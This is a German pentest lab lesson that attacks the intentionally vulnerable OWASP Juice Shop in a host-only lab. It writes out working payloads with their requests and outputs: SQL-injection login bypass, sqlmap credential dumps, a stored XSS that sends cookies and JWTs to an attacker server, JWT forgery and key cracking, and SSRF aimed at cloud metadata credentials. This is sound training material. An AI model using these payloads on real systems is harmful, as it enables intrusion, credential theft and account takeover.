OWASP Top 10 — Geführte Demonstration
OWASP Juice Shop — die modernste absichtlich verwundbare Anwendung, geschrieben in Angular + Node.js. Wir zerlegen sie, fünf Mal hintereinander, über fünf verschiedene Kategorien des Top 10. Jedes Mal: Anfrage, Antwort, Auswirkung.
Juice Shop läuft auf 10.10.10.50 in Ihrem Host-only-Lab. Kein Befehl dieser Lektion geht ins Internet.
Was Sie nach dieser Lektion können
- Juice Shop in Docker starten.
- Fünf Schwachstellen unterschiedlicher Kategorien ausnutzen.
- Für jede einen klaren Wirkungsnachweis schreiben.
- Ein IDOR mit einem schwachen JWT zu einem vollständigen Eskalationsszenario verketten.
Schritt 0 — Juice Shop starten
Auf einer neuen Ubuntu-VM im Lab, oder auf Kali:
docker run -d --name juice -p 3000:3000 bkimminich/juice-shop
Von Kali aus: http://10.10.10.50:3000/ — der Shop wird angezeigt.
Konfigurieren Sie Firefox, um über Burp Suite zu laufen (127.0.0.1:8080). Erstellen Sie ein normales Benutzerkonto (victime@test.local / Test123!), melden Sie sich an. Burp sieht alles.
Erstellen Sie den Nachweisordner:
mkdir -p ~/labs/semaine-07/preuves
Schritt 1 — A01: IDOR auf den Warenkörben
Beobachtung: Ihr Warenkorb hat eine ID basketId=6. Jeder Benutzer hat seinen eigenen Warenkorb.
Hypothese: Was, wenn man die ID ändert?
Finden Sie in der Burp HTTP-History die Anfrage:
GET /rest/basket/6 HTTP/1.1
Host: 10.10.10.50:3000
Authorization: Bearer eyJ0eXAiOi...
Send to Repeater. Ändern Sie 6 in 1:
GET /rest/basket/1 HTTP/1.1
Antwort:
{
"status": "success",
"data": {
"id": 1,
"coupon": null,
"UserId": 1,
"createdAt": "2026-03-15T10:12:44.891Z",
"Products": [
{"name": "Apple Juice", "quantity": 3, "price": 1.99},
{"name": "OWASP Juice Shop Logo Sticker", "quantity": 100, "price": 5}
]
}
}
Sie sehen den Warenkorb des Admins. UserId=1 = Admin-Konto.
Wirkungsnachweis:
Anfrage: GET /rest/basket/1 mit einem normalen Benutzertoken
Antwort: vollständiger Inhalt des Warenkorbs des Benutzers ID=1 (Admin)
Konsequenz: jeder Benutzer kann den Warenkorb jedes anderen Benutzers lesen.
In einem echten Shop entspricht das dem Lesen der Bestellungen aller Kunden.
Speichern Sie Anfrage + Antwort in preuves/A01-idor-panier.md.
Schritt 2 — A03: SQL-Injection beim Login
Beobachtung: Das Login hat ein E-Mail-Feld, ein Passwort-Feld.
Fangen Sie in Burp POST /rest/user/login ab:
{"email":"victime@test.local","password":"Test123!"}
Ändern Sie:
{"email":"' OR 1=1 --","password":"anything"}
Senden. Antwort:
{
"authentication": {
"token": "eyJ0eXAiOi...",
"bid": 1,
"umail": "admin@juice-sh.op"
}
}
Sie sind Admin. Die Authentifizierung wurde umgangen: Die Abfrage wird zu SELECT * FROM Users WHERE email='' OR 1=1 --' AND password='...' → gibt die erste Zeile zurück, in der Regel den Admin.
Wirkungsnachweis:
Anfrage: POST /rest/user/login mit manipulierter E-Mail
Ergebnis: gültiges JWT-Token für admin@juice-sh.op
Konsequenz: vollständige Kompromittierung der Anwendung durch SQL-Injection
im E-Mail-Feld des Logins.
Notieren Sie das Token für später:
export ADMIN_TOKEN="eyJ0eXAiOi..."
Speichern Sie in preuves/A03-sqli-login.md.
Schritt 3 — A03 (bis): SQL-Injection mit sqlmap
Suchen wir eine klassischere Injection. Navigieren Sie zu http://10.10.10.50:3000/rest/products/search?q=apple. Das ist ein Such-Endpunkt.
Erfassen Sie in Burp die Anfrage:
GET /rest/products/search?q=apple HTTP/1.1
Host: 10.10.10.50:3000
Speichern Sie sie als Datei:
# preuves/req-search.txt
GET /rest/products/search?q=FUZZ HTTP/1.1
Host: 10.10.10.50:3000
Starten Sie sqlmap:
sqlmap -r preuves/req-search.txt --batch --level=3 --dbs
Typische Ausgabe:
sqlmap identified the following injection point(s):
Parameter: q (GET)
Type: UNION query
Payload: apple' UNION SELECT NULL,NULL,...
available databases [1]:
[*] SQLite_masterdb
Gut, das ist eine SQLite. Wir listen die Tabellen auf:
sqlmap -r preuves/req-search.txt --batch --tables
Database: <current>
[9 tables]
+-------------------+
| Users |
| Products |
| Feedbacks |
| BasketItems |
| ... |
+-------------------+
Auszug von 3 Benutzern:
sqlmap -r preuves/req-search.txt --batch --dump -T Users --start=1 --stop=3
+---+------------------------+--------------------------------+---------+
| id | email | password (md5) | role |
+---+------------------------+--------------------------------+---------+
| 1 | admin@juice-sh.op | 0192023a7bbd73250516f069df18b500 | admin |
| 2 | jim@juice-sh.op | e5a9e79ba99895c40506c5be3f4d2354 | customer|
| 3 | bender@juice-sh.op | 03dfb27506def0d31d5b1e57dc95519f | customer|
+---+------------------------+--------------------------------+---------+
Wirkungsnachweis:
Extraktion beschränkt auf 3 Zeilen (Einhaltung des RoE).
MD5-Hash des Admins: 0192023a7bbd73250516f069df18b500
→ In 3 Sekunden entschlüsselt auf https://crackstation.net → Passwort "admin123"
Konsequenz: ausgehend von einer SQL-Injection auf einem öffentlichen
Such-Endpunkt, Extraktion und Knacken des Admin-Passworts in < 5 Minuten.
Schritt 4 — A03: Gespeichertes XSS auf der Profilseite
Gehen Sie in Ihrem Benutzerkonto zu Profil. Sie können Ihren Benutzernamen ändern.
Testen Sie:
<img src=x onerror="alert(document.cookie)">
Speichern. Laden Sie die Profilseite neu. Ein Pop-up zeigt Ihr Cookie.
Pop-up = POC. Wir wollen die Auswirkung. Ersetzen wir es durch einen Payload, der exfiltriert:
<img src=x onerror="fetch('http://10.10.10.5:8000/steal?c='+document.cookie)">
Starten Sie auf Kali einen Server:
python3 -m http.server 8000
Laden Sie die Seite neu. Das Kali-Terminal zeigt:
10.10.10.50 - - [15/Apr/2026 14:33:12] "GET /steal?c=token=eyJ0eXAi... HTTP/1.1" 200 -
Sie haben das JWT-Token des Besuchers exfiltriert, der Ihr Profil geladen hat. Auf einer Community-Seite (Feedback, Forum) würde jeder Administrator, der Ihre Nachricht ansieht, sein Token an Ihren Server senden.
Wirkungsnachweis:
Gespeichertes XSS im Benutzernamen (Payload: img onerror fetch).
Das JWT-Token jedes Besuchers (einschließlich Admin) wird nach 10.10.10.5:8000 exfiltriert.
Konsequenz: vollständige Identitätsübernahme, einschließlich Admin, sobald ein
Moderator meine Profilseite ansieht.
Speichern Sie in preuves/A03-xss-stockee.md.
Schritt 5 — A07: JWT mit alg=none
Entschlüsseln wir das im Schritt 2 erhaltene Admin-JWT auf jwt.io (oder lokal mit jwt-cli):
Header : {"typ":"JWT","alg":"HS256"}
Payload: {
"status":"success",
"data":{"id":1,"email":"admin@juice-sh.op","password":"...","role":"admin"},
"iat":1712345678
}
Signature: <256 bits>
Angriff alg=none: Wir ersetzen HS256 im Header durch none, wir entfernen die Signatur.
Manuelle Konstruktion:
import base64, json
header = {"typ":"JWT","alg":"none"}
payload = {"status":"success","data":{"id":1,"email":"admin@juice-sh.op","role":"admin"},"iat":1712345678}
def b64(d):
return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()
token = f"{b64(header)}.{b64(payload)}."
print(token)
Ausgabe:
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6...
Testen Sie:
curl -H "Authorization: Bearer <token-forge>" http://10.10.10.50:3000/rest/user/whoami
Antwort:
{"user":{"id":1,"email":"admin@juice-sh.op","role":"admin"}}
Auf Juice Shop funktioniert dieser Angriff nicht (die Bibliothek prüft), aber er funktioniert weiterhin bei vielen echten APIs, die mit alten JWT-Parsern geschrieben wurden.
Fallback, der auf Juice Shop funktioniert: Wir knacken den HS256-Schlüssel mit Hashcat. Holen Sie das Token, extrahieren Sie die Signatur:
hashcat -m 16500 token.txt /usr/share/wordlists/rockyou.txt
Wenn der Schlüssel Teil von rockyou.txt ist (secret, admin, changeme…), erhalten Sie den Schlüssel in Sekunden. Anschließend fälschen Sie ein legitim signiertes Admin-Token.
Wirkungsnachweis:
Angriff: JWT-Signatur per Wörterbuch erraten (hashcat -m 16500).
Gefundener Schlüssel: "secret" (10 Minuten)
Ergebnis: Fähigkeit, ein beliebiges Token für einen beliebigen Benutzer zu fälschen.
Konsequenz: dauerhafte Kompromittierung bis zur Rotation des Signaturschlüssels.
Schritt 6 — A10: SSRF beim Bild-Import
Juice Shop hat einen Upload-Endpunkt, der ein Bild von einer URL laden kann:
POST /api/User/ HTTP/1.1
Content-Type: application/json
{"picture":"http://<url-controlée>"}
Testen Sie mit dem AWS-Metadata-Endpunkt (auch wenn Juice Shop nicht auf AWS läuft, simulieren wir das Prinzip):
{"picture":"http://169.254.169.254/latest/meta-data/"}
Auf einer echten verwundbaren EC2-Instanz würde die Antwort die Metadaten enthalten, einschließlich der IAM-Credentials.
Für die lokale Demo starten wir einen Testserver auf Kali:
python3 -m http.server 9000 > /tmp/reception.log &
Payload:
{"picture":"http://10.10.10.5:9000/secret.txt"}
Senden. Prüfen Sie /tmp/reception.log:
10.10.10.50 - - [15/Apr/2026 14:41:03] "GET /secret.txt HTTP/1.1" 404 -
Nachweis: Der Anwendungsserver hat tatsächlich eine Anfrage an die IP gesendet, die Sie gewählt haben. Das ist das SSRF-Verhalten.
Erweiterter Wirkungsnachweis (auf einem echten Cloud-Ziel):
Payload: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
Antwort: {AccessKeyId, SecretAccessKey, Token}
aws sts get-caller-identity → Bestätigung des AWS-Kontos
aws iam list-attached-role-policies → vollständige Sicht auf die Berechtigungen
Konsequenz: Übergang von einer Anwendungs-SSRF zu einer Cloud-Kompromittierung.
Speichern Sie in preuves/A10-ssrf.md.
Schritt 7 — Die Kette: XSS → Diebstahl des Admin-JWT → vollständige Übernahme
Verketten Sie erneut, um eine echte Angriffsgeschichte zu zeigen:
- Gespeichertes XSS auf meiner Profilseite (Schritt 4).
- Ein Moderator sieht sich meine Seite an.
- Das JWT des Moderators wird an meinen Server gesendet (
10.10.10.5:8000/steal?c=...). - Ich kopiere dieses JWT in
Authorization: Bearer ...in Burp. - Alle Anfragen, die ich jetzt stelle, werden mit der Identität des Moderators ausgeführt.
- Ich greife auf
/rest/admin/users, auf/rest/products/createusw. zu. - Ich ändere den Preis eines Produkts auf
0,01 $, lege es in den Warenkorb, gebe die Bestellung auf.
Zwei einzelne Schwachstellen (XSS + fehlende MFA auf dem Admin-Konto), verkettet = kommerzielle Kompromittierung.
Diese Geschichte — nicht die isolierten Payloads — ist es, was im Abschlussbericht landet.
Fazit
In 90 Minuten, auf Juice Shop:
- A01 IDOR — Lesen des Admin-Warenkorbs.
- A03 SQLi Login — vollständige Umgehung der Authentifizierung.
- A03 SQLi Search — Extraktion der Tabelle Users.
- A03 gespeichertes XSS — Exfiltration eines JWT.
- A07 JWT — Knacken des HMAC-Schlüssels.
- A10 SSRF — der Server sendet, was ich will.
- Angriffskette: XSS + Admin-Session = kommerzielle Kompromittierung.
Das sind fünf Wirkungsnachweise in einem Ordner. Das ist die Art von Inhalt, die in einen Web-Pentest-Bericht gehört.
Nächste Lektion: Jetzt sind Sie dran. Sie nehmen DVWA oder Juice Shop auf höherer Schwierigkeitsstufe, bringen mindestens 3 Schwachstellen unterschiedlicher Kategorien zu Fall, mit Wirkungsnachweis für jede.